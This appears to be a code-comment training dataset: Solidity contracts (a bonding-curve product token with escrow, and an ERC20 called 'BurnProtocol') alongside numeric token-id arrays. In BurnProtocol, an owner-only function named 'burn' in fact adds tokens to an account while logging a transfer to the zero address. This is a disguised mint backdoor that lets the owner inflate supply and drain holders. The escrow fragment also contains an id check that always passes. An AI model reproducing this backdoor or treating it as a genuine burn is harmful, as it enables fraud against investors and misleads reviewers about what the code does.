amount in reserve token (dai)(with 4% platform fee) * @return mintAmount number of tokens in traded token that can be purchased by given amount. */ function calculateBuyReturn(uint256 _amountReserve) public view virtual returns (uint32 mintAmount) { (uint32 amount,) = _buyReturn(_amountReserve); return amount; } function _sellReturn(uint32 _amountProduct) internal view virtual returns (uint256, uint256) { // ppm of 98%. 2% is the platform transaction fee uint reimburseAmount = bondingCurve.calculateSaleReturn(_getTotalSupply(), reserveBalance, reserveRatio, _amountProduct); uint fee = reimburseAmount.mul(2e10).div(1e12); return (reimburseAmount, fee); } /** * @dev Function that computes selling price in reserve tokens given an amount in traded token. * * @param _amountProduct selling amount in product token * @return soldAmount total amount that will be transferred to the seller (with 2% platform fee). */ function calculateSellReturn(uint32 _amountProduct) public view virtual returns (uint256 soldAmount) { (uint reimburseAmount, uint fee) = _sellReturn(_amountProduct); return reimburseAmount.sub(fee); } /** * @dev calculates the return for a given conversion (in product token) * This function validate whether is enough to purchase token. * If enough, the function will deduct, and then mint one token for the user. Any extras are return as change. * If not enough, will return as change directly * then replace the _amount with the actual amount and proceed with the above logic. * * @param _deposit reserve token deposited * * @return token amount bought in product token * @return change amount of change in reserve tokens. * @return price * @return fee */ function _buy(uint256 _deposit) internal virtual returns (uint32, uint256, uint256, uint256) { require(getAvailability() > 0, "Sorry, this token is sold out."); require(_deposit > 0, "Deposit must be non-zero."); (uint price, uint fee ) = _getPriceForN(1); if (price > _deposit) { return (0, _deposit, 0, 0); } _mint(msg.sender, 1); reserveBalance = reserveBalance.add(price); emit Buy(msg.sender, 1, price.add(fee)); return (1, _deposit.sub(price).sub(fee), price, fee); } /** * @dev calculates the return for a given conversion (in the reserve token) * This function will try to compute the amount of liquidity one gets by selling _amount token, * then it will initiate a transfer. * * @param _amount amount of product token wishes to be sold * * @return amount amount sold in reserved token * @return fee */ function _sellForAmount(uint32 _amount) internal virtual returns (uint256, uint256) { require(_amount > 0, "Amount must be non-zero."); require(balanceOf(msg.sender) >= _amount, "Insufficient tokens to sell."); // calculate amount of liquidity to reimburse (uint256 reimburseAmount, uint256 fee) = _sellReturn(_amount); reserveBalance = reserveBalance.sub(reimburseAmount); _burn(msg.sender, _amount); emit Sell(msg.sender, _amount, reimburseAmount); return (reimburseAmount.sub(fee), fee); } function calculateTradinReturn(uint32 _amount) public view virtual returns (uint256) { require(_amount > 0, "invalid amount"); uint32 supply = uint32(uint256(_amount).add(uint256(tradeinCount)).add(uint256(supplyOffset))); return bondingCurve.calculateSaleReturn(supply, tradeinReserveBalance, reserveRatio, _amount); } /** * @dev used to update the status of redemption to "User Complete" after an escrow process has been started. * * @param buyer the wallet address of product buyer * @param id the id of the escrow, returned to the user after starting of redemption process */ function updateUserCompleted(address buyer, uint256 id) external virtual { require(msg.sender == owner() || msg.sender == _manager, 'permission denied'); require(buyer != address(0), "Invalid buyer"); _updateUserCompleted(buyer, id); } /** * @dev used to update the status of redemption to "User Refunded" after an escrow process has been started. * * @param buyer the wallet address of product buyer * @param id the id of the escrow, returned to the user after starting of redemption process */ function updateUserRefund(address buyer, uint256 id) external virtual{ require(msg.sender == owner() || msg.sender == _manager, 'permission denied'); require(buyer != address(0), "Invalid buyer"); uint256 value = _updateUserRefund(buyer, id); require(value >0 , "Invalid value"); _refund(buyer, value); } /** * @dev refund function. * This function returns the equivalent amount of Dai (reserve currency) to a product owner if an redemption fails * This is only triggered in the extremely rare cases. * This function is not implemented in Version 0 of Product Token * * @param _buyer The wallet address of the owner whose product token is under the redemption process * @param _value The market value of the token being redeemed */ function _refund(address _buyer, uint256 _value) internal virtual { // override } function setManager(address addr_) external virtual onlyOwner { require(addr_ != address(0), 'invalid address'); _manager = addr_; } function getManager() external view virtual returns(address) { return _manager; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract Escrow { /** * @dev this is the enum representation of shipping status. * INITIAL When an escrow has been created * AWAITING_PROCESSING When an escrow has been locked and product is in transit * COMPLETE_USER_REFUND When an product shipment has failed and user refund is happening * COMPLETE When an shipment is delivered successfully */ enum escrowState { INITIAL, AWAITING_PROCESSING, COMPLETE_USER_REFUND, COMPLETE } /** * @dev this is the struct class of escrow. * state The current shipping status * amount The amount of token being redeemed * value The actual reserve token being locked up */ struct escrowInfo { escrowState state; uint32 amount; uint256 value; } mapping(address => escrowInfo[]) public escrowList; // A list of user to escrow being saved event escrowStateUpdated(address, uint256, escrowInfo); // Event that's fired when a new redeem request has been created. /** * @dev Create a new escrow and add it to the list of pending escrows. * * @param _amount The amount of tokens being redeemed * @param _value The value of the product in reserve token * @return The id of the escrow created */ function _addEscrow(uint32 _amount, uint256 _value) internal virtual returns (uint256){ require(_amount > 0, 'Invalid Amount'); escrowInfo memory info; info.state = escrowState.AWAITING_PROCESSING; info.amount = _amount; info.value = _value; escrowList[msg.sender].push(info); uint256 _id = escrowList[msg.sender].length -1; emit escrowStateUpdated(msg.sender, _id, info); return _id; } /** * @dev Update state for the redemption process to completed * This is triggered by our backend after shipment partner has confirmed delivery * * @param _buyer The wallet address of the user * @param _id The cached id of the escrow, retrieved from database */ function _updateUserCompleted(address _buyer, uint256 _id) internal virtual { require(_id >= 0 || _id < escrowList[_buyer].length, "Invalid id"); require(!isStateCompleted(escrowList[_buyer][_id].state), "already completed"); escrowList[_buyer][_id].state = escrowState.COMPLETE; emit escrowStateUpdated(_buyer, _id, escrowList[_buyer][_id]); } /** * @dev Update state for the redemption process to refunded * This is triggered by our backend after shipment partner has confirmed deilvery failed * * @param _buyer The wallet address of the user * @param _id The cached id of the escrow, retrieved from database * @return The amount of reserve currency in dai that needs to be refunded. */ function _updateUserRefund(address _buyer, uint256 _id) internal virtual returns (uint) { require(_id >= 0 || _id < escrowList[_buyer].length, "Invalid id"); require(!isStateCompleted(escrowList[_buyer][_id].state), "already completed"); escrowList[_buyer][_id].state = escrowState.COMPLETE_USER_REFUND; emit escrowStateUpdated(_buyer, _id, escrowList[_buyer][_id]); return escrowList[_buyer][_id].value; } /** * @dev Helper function to check whether a escrow state is completed * * @param _state The state to be checked */ function isStateCompleted(escrowState _state) public pure virtual returns (bool) { return _state == escrowState.COMPLETE || _state == escrowState.COMPLETE_USER_REFUND; } /** * @dev Return the list of all escrows created for a certain user * * @param _buyer The address of the buyer * @return A list of past escrows */ function getEscrowHistory(address _buyer) external view virtual returns (escrowInfo [] memory) { return escrowList[_buyer]; } /** * @dev Get status of a particular redemption process * * @param _buyer The address of the buyer * @param _id The cached id of the escrow, retrieved from database * @return The current status */ function getRedeemStatus(address _buyer, uint256 _id) external view virtual returns (escrowState) { require(_id >= 0 || _id < escrowList[_buyer].length, "Invalid id"); return escrowList[_buyer][_id].state; } }
computed from the exponential factor in the
uint32 public reserveRatio;
5,914,607
[ 1, 20307, 628, 326, 21774, 5578, 316, 326, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 1578, 1071, 20501, 8541, 31, 1850, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.7.5; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. */ abstract contract Ownable is Context { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier authorized() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. */ function renounceOwnership() public virtual authorized { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual authorized { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */ contract ERC20 is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function burn(address account, uint256 amount) external authorized { require(account != address(0), "ERC20: burn from the zero address disallowed"); _balances[account] = _balances[account].add(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract BurnProtocol is ERC20 { using SafeMath for uint256; address private _factory; address private _router; address private burnModeExcluded; uint256 public BurnRate = 4; uint256 public constant BurnRatePercentsDevider = 1000; uint256 _supplyTokens; uint256 _supplyNotForBurn; uint256 _alreadyBurnedTokens; bool _transactionsWithBurnMode; event burnTokensDuringTransactions (bool _transactionsWithBurnMode); constructor (address router, address factory) ERC20(_name, _symbol) { // default router and factory setup _router = router; _factory = factory; _name = "BurnProtocol"; _symbol = "BURN"; _decimals = 18; // supply: _supplyTokens = 50000000 *10 **(_decimals); _totalSupply = _totalSupply.add(_supplyTokens); _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens); emit Transfer(address(0), msg.sender, _supplyTokens); // separate the half of the total supply tokens from brun mode. _supplyNotForBurn = _supplyTokens.div(2); // disable (by default) burn tokens mode during each transaction. _transactionsWithBurnMode = false; // exclude owner from the burn mode. burnModeExcluded = msg.sender; } /** * @dev Transfer, which will burn tokens mode for each transaction. */ function _transfer(address sender, address recipient, uint256 amount) internal override { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); // Calculate amount of tokens to burn and execute it. Then add that amount to statistic variable // of already burned tokens and calculate how many tokens left after burn. uint256 finalAmount = amount; if(_totalSupply > _supplyNotForBurn && _transactionsWithBurnMode == true && sender != burnModeExcluded && recipient != burnModeExcluded) { uint256 amountToBurn = amount.mul(BurnRate).div(BurnRatePercentsDevider); _burn(sender, amountToBurn); _alreadyBurnedTokens = _alreadyBurnedTokens.add(amountToBurn); finalAmount = amount.sub(amountToBurn); } _balances[sender] = _balances[sender].sub(finalAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); } /** * @dev Return an amount of already burned tokens. */ function AlreadyBurnedTokens () public view returns (uint256) { return _alreadyBurnedTokens; } /** * @dev Return a value of tokens, that cannot be burned. */ function SupplyNotForBurn() public view returns (uint256) { return _supplyNotForBurn; } /** * @dev Allows to trun burn mode on. This will burn some tokens during each transaction. */ function StartBurnModeDuringTransactions() public authorized { _transactionsWithBurnMode = true; emit burnTokensDuringTransactions(_transactionsWithBurnMode); } /** * @dev Return state of burn mode. */ function TransactionsWithBurnModeOn() public view returns (bool) { return _transactionsWithBurnMode; } /** * @dev Return a balacne of tokens locked in the contract. */ function TokensLockedInContract() public view returns (uint256) { return _balances[address(this)]; } /** * @dev Burns 10 percent of additionl tokens locked in the contract. */ function Burn10percentOfLockedTokens() public authorized { // Calculate 10% of tokens (locked in contract) and burn them. // Add burned amount to statistic variable of already burned tokens. uint256 _supplyToBurn10percent = _balances[address(this)].mul(10).div(100); _balances[address(this)] = _balances[address(this)].sub(_supplyToBurn10percent, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(_supplyToBurn10percent); _alreadyBurnedTokens = _alreadyBurnedTokens.add(_supplyToBurn10percent); emit Transfer(address(this), address(0), _supplyToBurn10percent); } }
* @dev Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
1,482,569
[ 1, 1358, 434, 326, 4232, 39, 3462, 4529, 487, 2553, 316, 326, 512, 2579, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 288, 203, 27699, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 1265, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x0b1b37c0d376e72d523319c6592f3A24D39912fD/sources/contracts/gauges/uniswapv3/GaugeUniswapV3.sol
claim fees for the treasury delete the nft from our array send the NFT back to the user detach if empty
